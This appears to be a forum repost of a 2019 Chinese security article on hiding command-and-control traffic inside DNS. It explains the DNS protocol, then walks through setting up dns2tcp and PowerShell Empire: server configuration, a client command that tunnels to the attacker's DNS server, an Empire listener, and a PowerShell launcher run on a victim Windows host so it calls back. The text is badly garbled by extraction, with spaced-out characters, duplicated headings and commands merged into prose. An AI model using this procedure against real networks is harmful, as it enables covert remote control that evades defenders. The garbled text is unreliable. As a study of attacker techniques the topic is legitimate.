搜索

[14389] 2019-07-25_利用DNS隧道构建隐蔽C&C信道

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2019-07-25_利用DNS隧道构建隐蔽C&C信道 利 用 D N S 隧 道 构 建 隐 蔽 C & C 信 道 原 创   m u m u f e n g 0 6   F r e e B u f   2 0 1 9 - 0 7 - 2 5 背 景 介 绍 背 景 介 绍 无 论 是 高 级 持 续 性 威 胁 无 论 是 高 级 持 续 性 威 胁 ( A P T ） 、 僵 尸 网 络 ） 、 僵 尸 网 络 ( B o t n e t ) ， 还 是 勒 索 软 件 、 后 门 等 ， 命 令 与 控 制 信 道 ， 还 是 勒 索 软 件 、 后 门 等 ， 命 令 与 控 制 信 道 ( C & C ) 都 是 其 重 都 是 其 重 要 组 成 部 分 ， 尤 其 是 要 组 成 部 分 ， 尤 其 是 A P T 和 僵 尸 网 络 中 的 和 僵 尸 网 络 中 的 C & C 信 道 决 定 了 其 威 胁 程 度 。 学 术 界 和 工 业 界 就 信 道 决 定 了 其 威 胁 程 度 。 学 术 界 和 工 业 界 就 C & C 方 面 的 研 究 已 方 面 的 研 究 已 逐 渐 深 入 ， 目 前 网 络 战 格 局 逐 渐 形 成 ， 公 众 对 网 络 安 全 逐 渐 重 视 ， 网 络 空 间 中 的 攻 防 双 方 持 续 较 量 。 逐 渐 深 入 ， 目 前 网 络 战 格 局 逐 渐 形 成 ， 公 众 对 网 络 安 全 逐 渐 重 视 ， 网 络 空 间 中 的 攻 防 双 方 持 续 较 量 。 迫 于 当 前 形 势 ， 攻 击 者 逐 渐 转 向 “ 低 调 ” ， 近 年 曝 光 的 多 起 大 型 A P T 攻 击 事 件 都 倾 向 于 构 建 隐 蔽 的 的 C & C 信 道 。 因 此 ， 我 们 必 须 从 攻 击 者 视 角 思 考 ， 哪 些 技 术 可 以 被 恶 意 利 用 到 构 建 隐 蔽 的 C & C 信 道 ， 从 而 在 相 应 应 对 策 略 上 取 得 先 机 。 一 、 一 、 D N S 协 议 协 议 关 于 D N S 协 议 详 细 文 档 可 参 考 标 准 文 档 ： R F C 1 0 3 4   和   R F C 1 0 3 5 1 . 1 、 类 比 理 解 、 类 比 理 解 D N S 大 千 世 界 ， 如 何 证 明 我 就 是 我 ？ 我 首 先 想 到 的 就 是 亮 出 我 的 身 份 证 。 身 份 证 是 我 们 每 个 人 的 身 份 凭 证 ， 而 且 身 份 证 上 记 录 有 我 的 姓 名 和 身 份 证 号 ， 同 时 它 也 是 有 权 威 机 构 发 放 ， 由 此 在 需 要 验 明 正 身 的 场 合 下 我 的 身 份 证 就 可 以 证 明 我 就 是 我 。 D N S ( D o m a i n   N a m e   S y s t e m ， 域 名 系 统 ) 也 是 一 种 域 名 ( D o m a i n ) 和 网 络 地 址 ( I P ) 一 一 对 应 的 标 准 协 议 ， 实 现 这 种 协 议 提 供 D N S 服 务 的 称 为 D N S 服 务 器 。 域 名 ( 如 e x a m p l e . c o m ) 可 以 类 比 理 解 为 名 字 ， 而 网 络 地 址 ( 如 1 0 . 0 . 2 . 1 0 ) 则 可 以 理 解 为 身 份 证 号 。 在 显 示 生 活 中 ， 我 们 认 识 和 交 朋 友 更 趋 向 于 记 住 她 / 他 的 名 字 而 不 是 其 身 份 证 号 。 同 样 的 为 了 实 现 用 户 友 好 ， 让 用 户 记 住 具 有 特 点 的 域 名 比 看 起 来 就 让 人 头 疼 的 一 连 串 数 字 组 成 的 I P 地 址 要 容 易 很 多 。 为 了 便 于 管 理 ， 身 份 证 管 理 采 用 分 级 管 理 的 策 略 ， 如 同 一 个 县 出 生 的 人 在 身 份 证 号 中 的 前 面 部 分 相 同 ； 类 似 的 ， 域 名 系 统 在 因 特 网 中 的 命 名 也 采 用 层 次 结 构 的 命 名 方 法 。 为 了 确 保 身 份 证 的 权 威 ， 办 证 单 位 必 须 是 公 安 部 门 ； 在 域 名 系 统 中 也 有 权 威 的 根 域 名 服 务 器 、 权 威 域 名 服 务 器 等 。 类 似 的 相 同 点 还 有 很 多 ， 但 D N S 中 域 名 和 I P 的 对 应 与 身 份 证 号 和 名 字 的 对 应 理 解 中 需 要 注 意 D N S 协 议 要 求 域 名 和 I P 必 须 唯 一 确 定 ， 即 一 个 域 名 唯 一 对 用 一 个 I P ( 不 考 虑 最 近 的 负 载 均 衡 技 术 ) ， 即 现 实 生 活 中 的 同 名 问 题 在 域 名 系 统 中 是 必 须 解 决 的 ， 因 为 域 名 系 统 是 整 个 因 特 网 共 用 的 ， 所 以 必 须 保 持 唯 一 性 。 1 . 2 、 、 D N S 的 层 次 结 构 图 解 的 层 次 结 构 图 解
注 ： 具 体 的 官 方 描 述 和 介 绍 类 知 识 请 自 行 检 索 ( 太 多 了 ) ， 以 上 仅 为 我 的 个 人 理 解 1 . 3 、 、 D N S 域 名 解 析 流 程 域 名 解 析 流 程 — — 本 地 本 地 D N S 缓 存 缓 存 + 递 归 查 询 递 归 查 询 + 迭 代 查 询 迭 代 查 询 【 递 归 查 询 】 用 户 本 地 域 名 服 务 器 发 出 一 次 查 询 请 求 ， 就 静 待 本 地 服 务 器 反 馈 最 终 查 询 结 果 。 本 地 服 务 器 首 先 使 用 本 地 D N S 缓 存 尝 试 应 答 用 户 的 D N S 查 询 请 求 ， 若 失 败 则 发 起 迭 代 查 询 。 【 迭 代 查 询 】 本 地 域 名 服 务 器 向 根 域 名 服 务 器 查 询 ， 根 域 名 服 务 器 告 诉 它 下 一 步 到 哪 里 去 查 询 ， 然 后 它 在 根 据 结 果 逐 层 向 下 查 询 ， 直 到 得 到 最 终 结 果 。 每 次 它 都 是 以 D N S 客 户 机 的 身 份 去 各 个 服 务 器 查 询 ， 即 迭 代 查 询 是 本 地 服 务 器 进 行 的 操 作 。 【 具 体 流 程 描 述 】 ( 1 ) 、 用 户 主 机 A 先 向 本 地 域 名 服 务 器 B 递 归 查 询 a b c . e x m a p l e . c o m ( 2 ) 、 B 首 先 尝 试 使 用 本 地 D N S 记 录 查 询 a b c . e x m a p l e . c o m 若 本 地 不 存 在 a b c . e x a m p l e . c o m 的 相 关 记 录 ， 则 B 以 D N S 客 户 机 的 身 份 发 起 迭 代 查 询 a b c . e x a m p l e . c o m ( 3 ) 、 B 向 一 个 根 域 名 服 务 器 C 查 询 a b c . e x a m p l e . c o m ( 4 ) 、 根 域 名 服 务 器 C 告 诉 B 下 一 步 到 . c o m 顶 级 域 名 服 务 器 D 去 查 询 ， 并 告 知 D 的 I P 地 址 1 . 2 . 3 . 4 ( 5 ) 、 B 向 . c o m 顶 级 域 名 服 务 器 D 进 行 查 询 ( 6 ) 、 D 告 诉 本 地 域 名 服 务 器 B ， 下 一 步 请 到 . e x a m p l e . c o m 权 限 服 务 器 E 去 查 询 ， 并 告 知 E 的 I P 地 址 2 . 3 . 4 . 5 ( 7 ) 、 B 向 . e x a m p l e . c o m 权 限 服 务 器 E 进 行 查 询 ( 8 ) 、 E 告 诉 本 地 域 名 服 务 器 B 所 查 询 域 名 a b c . e x a m p l e . c o m 的 主 机 是 否 存 在 ， 并 告 知 其 I P 地 址 3 . 4 . 5 . 6
( 9 ) 、 本 地 域 名 服 务 器 B 向 用 户 主 机 A 反 馈 所 查 询 的 域 名 a b c . e x m a p l e . c o m 对 用 的 I P 地 址 为 3 . 4 . 5 . 6 1 . 4 、 、 D N S 报 文 格 式 报 文 格 式 重 要 部 分 说 明 ： 会 话 标 识 ： D N S 报 文 的 I D 标 识 ， 区 分 D N S 应 答 报 文 是 哪 个 请 求 的 响 应 查 询 类 型 整 理 ： 生 存 时 间 （ T T L ） ： 资 源 记 录 的 生 命 周 期 ， 一 般 以 秒 为 单 位 。 【 说 明 】 此 部 分 为 D N S 相 关 基 础 知 识 ， 我 只 对 相 关 知 识 进 行 搜 集 ， 并 结 合 自 己 的 理 解 整 理 所 得 。 协 议 报 文 格 式 和 查 询 类 型 图 表 源 自 明 风 的 博 客 ( C S D N ) 大 神 的 D N S 协 议 详 解 及 报 文 格 式 分 析 一 文 。 二 、 二 、 D N S 隧 道 隧 道 2 . 1 、 、 D N S 隧 道 原 理 概 述 隧 道 原 理 概 述 D N S 隧 道 ( D N S   T u n n e l i n g ) 是 将 其 他 协 议 的 内 容 封 装 在 D N S 协 议 中 ， 然 后 以 D N S 请 求 和 响 应 包 完 成 传 输 数 据 ( 通 信 ) 的 技 术 。 当 前 网 络 世 界 中 的 D N S 是 一 项 必 不 可 少 的 服 务 ， 所 以 防 火 墙 和 入 侵 检 测 设 备 处 于 可 用 性 和 用 户 友 好 的 考 虑 将 很
难 做 到 完 全 过 滤 掉 D N S 流 量 ， 因 此 ， 攻 击 者 可 以 利 用 它 实 现 诸 如 远 程 控 制 ， 文 件 传 输 等 操 作 ， 众 多 研 究 表 明 D N S T u n n e l i n g 在 僵 尸 网 络 和 A P T 攻 击 中 扮 演 着 至 关 重 要 的 角 色 。 D N S 隧 道 依 据 其 实 现 方 式 大 致 可 分 为 直 连 和 中 继 两 类 。 直 连 ： 用 户 端 直 接 和 指 定 的 目 标 D N S 服 务 器 建 立 连 接 ， 然 后 将 需 要 传 输 的 数 据 编 码 封 装 在 D N S 协 议 中 进 行 通 信 。 这 种 方 式 的 优 点 是 具 有 较 高 速 度 ， 但 蔽 性 弱 、 易 被 探 测 追 踪 的 缺 点 也 很 明 显 。 另 外 直 连 方 式 的 限 制 比 较 多 ， 如 目 前 很 多 的 企 业 网 络 为 了 尽 可 能 的 降 低 遭 受 网 络 攻 击 的 风 险 ， 一 般 将 相 关 策 略 配 置 为 仅 允 许 与 指 定 的 可 信 任 D N S 服 务 器 之 间 的 流 量 通 过 。 中 继 隧 道 ： 通 过 D N S 迭 代 查 询 而 实 现 的 中 继 D N S 隧 道 ， 这 种 方 式 及 其 隐 秘 ， 且 可 在 绝 大 部 分 场 景 下 部 署 成 功 。 但 由 于 数 据 包 到 达 目 标 D N S 服 务 器 前 需 要 经 过 多 个 节 点 的 跳 转 ， 数 据 传 输 速 度 和 传 输 能 力 较 直 连 会 慢 很 多 。 实 现 D N S 隧 道 的 关 键 要 点 ： ( 1 ) 、 规 避 D N S 缓 存 机 制 ( 2 ) 、 可 利 用 D N S 查 询 类 型 及 其 载 荷 编 码 ( 3 ) 、 如 何 应 道 域 名 系 统 采 用 的 C / S 机 制 ， 即 S e r v e r 不 可 能 发 起 连 接 — — C l i e n t 会 定 时 向 S e r v e r 发 送 请 求 ， 保 证 二 者 之 间 的 通 信 状 态 。 2 . 2 、 、 D N S 隧 道 工 具 隧 道 工 具 目 前 ， D N S 隧 道 技 术 已 经 很 成 熟 ， 相 关 工 具 也 很 多 ， 而 且 不 同 工 具 也 各 具 特 色 。 目 前 比 较 活 跃 的 有 i o d i n e ， d n s c a t 2 ， 其 他 的 还 有 D e N i s e ， d n s 2 t c p ， H e y o k a 。 相 关 介 绍 请 参 考 利 用 D N S 隧 道 进 行 隐 蔽 通 信 和 远 程 控 制 。 ( 1 ) 、 d n s 2 t c p ： 支 持 直 连 模 式 的 D N S 隧 道 ， 只 实 现 了 简 单 的 D N S 隧 道 ， 相 关 命 令 和 控 制 服 务 需 要 自 行 搭 建 ， 且 已 在 k a l i 系 统 中 直 接 集 成 。 ( 2 ) 、 i o d i n e ： 最 活 跃 、 速 度 最 快 、 支 持 直 连 和 中 继 模 式 ， 且 支 持 丰 富 的 编 码 、 请 求 类 型 选 择 ( 3 ) 、 D n s c a t 2 ： 封 装 在 D N S 协 议 中 的 加 密 C & C 信 道 ， 直 接 运 行 工 具 即 可 实 现 数 据 传 输 、 文 件 操 作 等 命 令 和 控 制 功 能 。 三 、 利 用 三 、 利 用 d n s 2 t c p 搭 建 搭 建 C & C 信 道 实 验 复 现 信 道 实 验 复 现 3 . 1 、 实 验 环 境 、 实 验 环 境 本 次 实 验 使 用 两 台 处 于 连 通 状 态 的 主 机 U b u n t u 1 6   +   w i n d o w 7 ， 其 中 U b u n t u 1 6 主 机 作 为 服 务 端 ， W i n d o w s 7 主 机 作 为 受 控 主 机 。 【 说 明 】 ( 1 ) 、 真 实 攻 防 环 境 下 一 般 会 搭 建 中 继 模 式 的 D N S 隧 道 ， 通 过 递 归 查 询 到 达 C & C   服 务 端 。 由 于 设 备 条 件 有 限 ， 以 下 复 现 实 验 以 最 小 化 设 备 环 境 需 求 展 开 。 ( 2 ) 、 公 网 部 署 需 要 注 册 域 名 、 公 网 I P 及 设 置 对 应 的 D N S 解 析 。 本 次 复 现 旨 在 帮 助 理 解 其 原 理 和 构 建 过 程 ， 只 在 局 域 网 内 搭 建 ， 因 此 不 要 求 注 册 域 名 、 拥 有 公 网 I P 及 设 置 D N S 解 析 。 【 工 具 需 求 】 P o w e r S h e l l   E m p i r e d n s 2 t c p ： 最 简 单 的 工 具 ， 具 体 的 C & C 需 要 自 行 衔 接 ， 有 助 于 理 解 利 用 D N S 构 建 隐 蔽 C & C 信 道 的 细 节
3 . 2 、 原 理 概 述 、 原 理 概 述 本 次 实 验 拟 使 用 局 域 网 内 两 台 虚 拟 机 模 拟 搭 建 D N S 隧 道 ， 然 后 基 于 已 建 立 的 D N S 隧 道 构 建 C & C 信 道 。 复 现 实 验 如 下 图 ： 如 图 所 示 ， 命 令 与 控 制 通 信 流 量 在 主 机 外 部 （ 如 网 络 边 界 ) 看 来 全 部 为 D N S 查 询 和 响 应 数 据 包 ， 即 C & C 的 服 务 端 和 受 控 端 实 现 了 “ 透 明 传 输 ” ， 在 主 机 外 部 利 用 D N S 进 行 了 很 好 的 隐 藏 以 及 突 破 网 络 限 制 。 整 个 过 程 大 致 如 下 ： 从 受 控 主 机 端 开 始 ， 实 际 的 C & C 通 信 数 据 通 过 本 地 端 口 ( 如 1 2 7 . 0 . 0 . 1 : 5 3 5 3 ) 输 入 到 隧 道 工 具 由 工 具 按 照 D N S 协 议 要 求 进 行 封 装 携 带 通 信 数 据 的 D N S 查 询 请 求 通 过 D N S 协 议 的 5 3 号 端 口 发 送 到 攻 击 者 控 制 的 D N S 服 务 器 攻 击 者 控 制 的 D N S 服 务 器 接 受 到 查 询 请 求 后 ， 隧 道 服 务 端 工 具 首 先 按 照 对 应 规 则 从 请 求 数 据 包 中 提 取 C & C 通 信 数 据 ， 并 转 发 到 事 先 设 置 好 的 C & C 服 务 端 对 应 的 端 口 ( 也 可 以 是 另 外 的 主 机 地 址 ) C & C 服 务 端 接 受 对 应 端 口 的 C & C 数 据 并 响 应 ， 响 应 数 据 依 然 发 送 给 服 务 端 的 隧 道 工 具 隧 道 工 具 对 响 应 数 据 同 样 按 照 D N S 协 议 封 装 为 对 应 ( 请 求 序 列 号 ) 的 D N S 响 应 数 据 包 ， 通 过 D N S 隧 道 发 送 到 受 控 端 受 控 端 的 隧 道 工 具 从 接 收 到 的 D N S 响 应 数 据 包 中 提 取 C & C 数 据 ， 交 付 给 对 应 控 制 程 序 按 照 实 现 设 置 好 的 规 则 解 析 后 执 行 命 令 、 控 制 操 作 四 、 复 现 步 骤 四 、 复 现 步 骤 本 次 复 现 将 使 用 到 极 其 强 大 的 E m p i r e 工 具 ， 具 体 使 用 细 节 请 参 考 一 篇 文 章 精 通 P o w e r S h e l l   E m p i r e   2 . 3 本 文 只 列 出 复 现 实 验 所 需 的 关 键 步 骤 。 复 现 实 验 主 要 有 ： 工 具 安 装   = = 》 D N S 隧 道 搭 建   = = 》 C & C 信 道 4 . 1 、 工 具 安 装 、 工 具 安 装 【 d n s 2 t c p 】 d n s 2 t c p 工 具 包 含 客 户 端 和 服 务 端 部 分 ， 本 次 实 验 部 分 拟 定 U b u n t u 1 6 为 服 务 端 ， W i n d o w 7 为 客 户 端 。
( 1 ) 、 U b u n t u 主 机 ， 以 r o o t 用 户 执 行 命 令 安 装 ( 2 ) 、 W i n d o w s 7 端 的 e x e 程 序 来 源 可 以 从 g i t h u b 上 c l o n e 源 码 后 编 译 客 户 端 程 序 ， 也 可 以 使 用 已 编 译 好 的 可 执 行 程 序 ， ( 搬 运 链 接 : h t t p s : / / p a n . b a i d u . c o m / s / 1 w - d p n 0 U S 9 S m f j q d X u H S 4 a A 提 取 码 :   t k g d ) ， 下 载 d n s 2 t c p c . e x e 备 用 就 O K 了 。 【 E m p i r e 】 ( 1 ) 、 E m p i r e 工 具 只 需 要 安 装 在 服 务 端 ( 2 ) 、 安 装 成 功 后 确 认 E m p i r e 目 录 下 包 含 下 图 所 有 文 件 ( 3 ) 、 使 用   . / e m p i r e 即 可 启 动 E m p i r e 4 . 2 、 、 D N S 隧 道 搭 建 之 服 务 端 配 置 隧 道 搭 建 之 服 务 端 配 置 ( 1 ) 、 编 辑 d n s 2 t c p 服 务 端 配 置 文 件   / e t c / d n s 2 t c p d . c o n f   ， 如 下 ： 【 参 数 说 明 】 ： 1 ) 、 l i s t e n 为 服 务 端 I P ， 尽 量 避 免 1 2 7 . 0 . 0 . 1 。 如 果 选 择 V P S 搭 建 环 境 ， 请 就 I P 配 置 为 0 . 0 . 0 . 0 ， 因 为 一 般 V P S 都 有 两 个 I P ( 公 网 I P + 内 网 I P ) 。 2 ) 、 P o r t 为 D N S 隧 道 使 用 的 端 口 ， 一 般 使 用 默 认 D N S 服 务 端 口 5 3 ， 具 有 更 好 的 迷 惑 性 。 如 果 修 改 为 其 他 端 口 号 ， 则 使 用 的 客 户 端 也 需 要 去 对 应 位 置 修 改 后 重 新 编 译 为 可 执 行 文 件 。 3 ) 、 d o m a i n 请 修 改 为 你 所 指 定 的 域 名 ， 局 域 网 环 境 下 可 以 随 意 指 定 且 无 需 注 册 。 该 域 名 会 在 客 户 端 启 动 时 作 为 参 数 使 用 。 【 注 意 】 ： 完 整 的 攻 防 场 景 设 计 （ 使 用 注 册 域 名 、 配 置 在 具 有 公 网 I P 的 V P S ） 应 当 时 这 样 配 置 域 名 ( 以 e x a m p l e . c o m 为 例 ) ： 在 域 名 注 册 商 的 域 名 设 置 里 添 加 一 条 子 域 名 的 N S 记 录 和 一 条 A 记 录 ， 如 : s u   -   # 进 入 r o o t 用 户 a p t - g e t   i n s t a l l   u p d a t e a p t - g e t   i n s t a l l   d n s 2 t c p   # 实 际 上 是 同 时 安 装 了 d n s 2 t c p 的 客 户 端 和 服 务 端 g i t   c l o n e h t t p s : / / g i t h u b . c o m / E m p i r e P r o j e c t / E m p i r e . g i t # 进 入 s e t u p 目 录 进 行 命 令 行 安 装 c d   E m p i r e c d   s e t u p s u d o   . / i n s t a l l . s h
其 中 N S 记 录 的 记 录 值 对 应 的 域 名 必 须 配 置 A 记 录 。 以 上 配 置 的 理 解 是 ： 所 有 关 于 d n s c 2 . e x a m p l e . c o m 及 其 子 域 名 都 由 d n s . e x a m p l e . c o m 的 D N S 服 务 器 负 责 解 析 ， 且 其 对 应 I P 地 址 为 1 . 2 . 3 . 4 。 检 测 配 置 是 否 成 功 可 以 使 用 任 意 的 主 机 使 用 n s l o o k u p   d n s . e x a m p l e . c o m 查 看 是 否 成 功 得 到 1 . 2 . 3 . 4 的 查 询 结 果 。 4 ) 、 r e s o u r c e s 官 方 解 释 时 服 务 端 的 对 应 使 用 的 资 源 。 实 质 就 是 通 过 d n s 2 t c p 服 务 端 工 具 提 取 的 数 据 将 交 付 的 地 址 ( I P + 端 口 ) 。 即 如 果 客 户 端 启 动 时 使 用 “   - r   c 2   ” , 即 代 表 d n s 2 t c p 服 务 端 工 具 提 取 的 数 据 转 发 到 1 2 7 . 0 . 0 . 1 的 5 3 5 3 端 口 。 对 应 于 本 次 实 验 则 是 后 续 会 让 E m p i r e 控 制 监 听 在 服 务 端 的 1 2 7 . 0 . 0 . 1 的 5 3 5 3 端 口 。 注 意 ： 这 里 这 是 简 单 的 数 据 转 发 端 口 配 置 ， 并 给 它 取 了 个 别 名 ， 对 应 服 务 需 要 自 行 搭 建 。 ( 2 ) 、 启 动 服 务 端 参 数 解 释 ： - f ： 指 定 配 置 文 件 启 动 - F ： 指 定 d n s 2 t c p 工 具 运 行 在 前 台 - d ： 指 定 调 试 日 志 打 印 等 级 最 终 成 功 启 动 如 下 图 ： 4 . 3 、 、 D N S 隧 道 搭 建 之 客 户 端 配 置 隧 道 搭 建 之 客 户 端 配 置 ( 1 ) 、 在 编 译 好 ( 或 下 载 ) 的 E X E 可 执 行 程 序 的 目 录 下 打 开 p o w e r s h e l l 窗 口 ， 并 执 行 如 下 启 动 命 令 启 动 命 令 中 各 参 数 说 明 ： - r ： 指 定 要 使 用 的 服 务 端 配 置 的 资 源 对 应 的 名 - z ： 配 置 为 建 立 D N S 隧 道 使 用 的 域 名 - l ： 指 定 隧 道 客 户 端 监 听 的 本 地 端 口 - d ： 作 用 同 服 务 端 ， 输 出 2 级 调 试 信 息 注 意 ： 命 令 中 的 1 9 2 . 1 6 8 . 8 1 . 1 4 9 表 示 指 定 目 标 D N S 服 务 器 ( 也 可 以 是 D N S 服 务 器 的 域 名 ， 但 必 须 在 上 一 级 域 名 的 D N S 记 录 中 正 确 配 置 了 N S 记 录 和 A 记 录 ) ， 若 不 指 定 则 使 用 默 认 D N S 进 行 解 析 ， 由 于 本 次 复 现 环 境 未 注 册 域 名 并 配 置 公 网 I P 解 析 ， 因 此 将 无 法 寻 址 ( D N S 请 求 无 法 到 达 我 们 隧 道 的 服 务 端 ) 。 在 局 域 网 情 况 下 ， 必 须 指 定 为 服 务 端 I P ， 即 直 至 指 定 使 用 D N S 隧 道 服 务 器 解 析 d n s c 2 . t e s t . c o m （ 并 未 真 正 解 析 ， 只 是 为 了 使 所 有 d n s c 2 . t e s t . c o m 及 其 子 域 名 的 解 析 请 求 都 能 到 达 服 务 端 ） 。 命 令 ： d n s 2 t c p d   - f   / e t c / d n s 2 t c p d . c o n f   - F   - d   2 . / d n s 2 t c p c . e x e   - r   c 2   - z   d n s c 2 . t e s t . c o m   1 9 2 . 1 6 8 . 8 1 . 1 4 9   - l   5 3 5 3   - d   2
( 2 ) 、 成 功 启 动 D N S 客 户 端 后 如 下 图 ( 不 要 关 闭 该 窗 口 ) ( 3 ) 、 测 试 隧 道 是 否 建 立 成 功 并 可 以 数 据 数 据 ( 非 必 须 ) 1 ) 、 在 服 务 端 搭 建 一 个 O p e n s s h - S e r v e r ， 即 搭 建 S S H 服 务 端 并 配 置 S S H 登 录 ， 相 关 详 细 操 作 可 参 考 利 用 S S H 隧 道 加 密 、 隐 蔽 C & C 通 信 流 量 。 2 ) 、 更 改 启 动 参 数 中 的 - r 为   - r   s s h 并 启 动 客 户 端 。 3 ) 、 在 客 户 端 使 用 S S H 登 录 工 具 ( 如 P u t t y ) ， 通 过 1 2 7 . 0 . 0 . 1 佳 5 3 5 3 端 口 S S H 登 录 服 务 端 ， 若 成 功 登 录 ， 并 能 在 服 务 端 和 客 户 端 的 相 应 窗 口 内 看 到 数 据 传 输 打 印 的 日 志 则 表 明 隧 道 建 立 成 功 。 如 下 图 日 志 打 印 如 下 图 ：
4 . 4 、 使 用 、 使 用 E m p i r e 基 于 基 于 D N S 隧 道 构 建 隐 蔽 的 隧 道 构 建 隐 蔽 的 C & C 信 道 信 道 搭 建 隧 道 的 关 键 是 理 解 服 务 端 、 客 户 端 之 间 的 数 据 通 信 关 系 ， 大 致 如 下 图 ： ( 1 ) 、 设 置 监 听 进 入 E m p i r e ， 设 置 名 为 d n s c 2 的 监 听 ， 并 配 置 监 听 的 P o r t 和 H o s t 为 服 务 端 配 置 文 件 d n s 2 t c p d . c o n f 文 件 中 指 定 的 用 于 建 立 C & C 信 道 的 资 源 对 应 的 地 址 1 2 7 . 0 . 0 . 1 ： 5 3 5 3 。 配 置 如 下 ： l i s t e n e r s # 进 入 的 界 面 下 可 输 入 l i s t 查 看 以 设 置 的 监 听 u s e l i s t e n e r   h t t p # 输 入   i n f o 查 看 必 填 参 数 s e t   N a m e   d n s c 2 s e t   P o r t   5 3 5 3 s e t   H o s t   1 2 7 . 0 . 0 . 1 e x e c u t e   # 创 建 命 为 d n s c 2 的 监 听 ， 监 听 1 2 7 . 0 . 0 . 1 : 5 3 5 3 上 通 信 数 据
( 2 ) 、 生 成 简 单 的 P o w e r S h e l l 利 用 脚 本 ( 针 对 w i n d o w s ) l a u n c h e r   p o w e r s h e l l   d n s c 2   #   d n s c 2   为 （ 1 ） 中 设 置 的 监 听 名 字 可 进 入 s t a g e r s 生 成 其 他 木 马 、 远 控 程 序 ， 本 次 实 验 直 接 生 成 最 简 单 P o w e r S h e l l 利 用 脚 本 注 ： 生 成 的 P o w e r s h e l l 代 码 直 接 复 制 并 保 存 ， 以 备 在 受 控 w i n d o w s 主 机 ( w i n 7 、 w i n 1 0 ) 执 行 。 ( 3 ) 、 使 用 ( 2 ) 中 生 成 的 P o w e r S h e l l 脚 本 ， 使 受 控 主 机 上 线 在 受 控 主 机 w i n d o w s   7 中 另 外 ( 一 定 保 持 运 行 d n s 2 t c p 客 户 端 的 窗 口 一 直 在 ) 开 启 一 个 P o w e r S h e l l 窗 口 ， 复 制 P o w e r S h e l l 脚 本 直 接 执 行 。 可 以 看 到 受 控 主 机 以 上 线 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理